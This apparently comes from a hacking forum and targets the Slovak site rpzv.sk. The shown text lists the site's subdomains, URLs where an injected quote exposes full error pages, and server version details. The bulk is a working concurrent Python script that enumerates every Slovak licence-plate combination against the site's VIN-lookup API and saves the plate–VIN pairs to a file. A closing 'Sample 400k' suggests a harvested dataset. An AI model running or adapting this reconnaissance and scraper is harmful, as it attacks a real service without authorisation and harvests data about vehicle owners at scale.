Код:
Target: https://rpzv.sk
Sub-domains:
comune.rpzv.sk
mailrelay.rpzv.sk
barracuda.rpzv.sk
out.rpzv.sk
email.rpzv.sk
test.rpzv.sk
mail.rpzv.sk
remote.rpzv.sk
mx3.rpzv.sk
smtpauth.rpzv.sk
www.rpzv.sk
autodiscover.rpzv.sk
Full error display:
https://rpzv.sk/novinky/clanok?id='
https://rpzv.sk/prispievatelia/prispievatel?id='
Version Information: Microsoft .NET Framework Version:4.0.30319; ASP.NET Version:4.8.4494.0
https://rpzv.sk/acquisitions/encrypt-url-param
{
"__RequestVerificationToken": "...",
"text": "must have 17 words"
}
Python:
import asyncio
from string import ascii_uppercase
from time import strftime
from aiofiles import open as aopen
from aiohttp import ClientSession, ClientTimeout
class VINParser:
def __init__(self, threads: int = 8) -> None:
self.pool = []
self.threads = threads
self.gen = self.generate_plate()
self.__gen_locked = False
self.__pool_locked = False
self.__url = 'https://rpzv.sk/api/data/validateVINorECV'
self.__regions = (
'BA', 'BD', 'BE', 'BI', 'BL', 'BT', 'BB', 'BC', 'BK', 'BJ', 'BN',
'BR', 'BS', 'BY', 'CA', 'DK', 'DS', 'DT', 'GA', 'GL', 'HC', 'HE',
'IL', 'KA', 'KE', 'KC', 'KI', 'KK', 'KM', 'KN', 'KS', 'LC', 'LE',
'LM', 'LV', 'LL', 'MA', 'MI', 'ML', 'MT', 'MY', 'NR', 'NI', 'NT',
'NM', 'NO', 'NZ', 'NC', 'PB', 'PD', 'PE', 'PK', 'PN', 'PO', 'PV',
'PS', 'PP', 'PT', 'PU', 'RA', 'RK', 'RS', 'RV', 'SA', 'SB', 'SC',
'SE', 'SI', 'SK', 'SL', 'SN', 'SO', 'SP', 'SV', 'TT', 'TA', 'TB',
'TN', 'TC', 'TE', 'TO', 'TR', 'TS', 'TV', 'VK', 'VT', 'ZA', 'ZI',
'ZL', 'ZC', 'ZH', 'ZM', 'ZV'
)
async def save_result(self) -> None:
async with aopen('plates.txt', 'a', encoding='utf-8') as saver:
for item in self.pool:
await saver.write(item)
print(f"[{strftime('%m/%d/%Y %H:%M:%S')}] 100 Saved")
self.pool.clear()
async def back_plate(self) -> str:
data = ''
while True:
if self.__gen_locked:
await asyncio.sleep(0.1)
else:
self.__gen_locked = True
try:
data = next(self.gen)
except Exception:
data = ''
finally:
self.__gen_locked = False
break
return data
def generate_plate(self, restore: str = '') -> str:
skip = True if restore else False
for region in self.__regions:
for num in range(1, 999):
for f_let in ascii_uppercase:
for s_let in ascii_uppercase:
plate = f'{region}{"0"*(3-len(str(num)))}{num}{f_let}{s_let}'
if skip:
if plate == restore:
skip = False
continue
yield plate
async def worker(self) -> None:
plate = await self.back_plate()
while plate:
while self.__pool_locked:
await asyncio.sleep(0.1)
async with ClientSession(timeout=ClientTimeout(10)) as ses:
try:
async with ses.post(self.__url, data={'vin_ecv': plate}) as resp:
vin: str = (await resp.json()).get('vin', None)
except Exception:
continue
finally:
await ses.close()
if vin:
if len(self.pool) > 100 and not self.__pool_locked:
self.__pool_locked = True
await self.save_result()
self.__pool_locked = False
self.pool.append(f'{plate} - {vin}\n')
plate = await self.back_plate()
async def main(self) -> None:
tasks = []
for i in range(self.threads):
tasks.append(asyncio.ensure_future(self.worker()))
await asyncio.gather(*tasks)
if __name__ == "__main__":
asyncio.run(VINParser(50).main())
Sample 400k: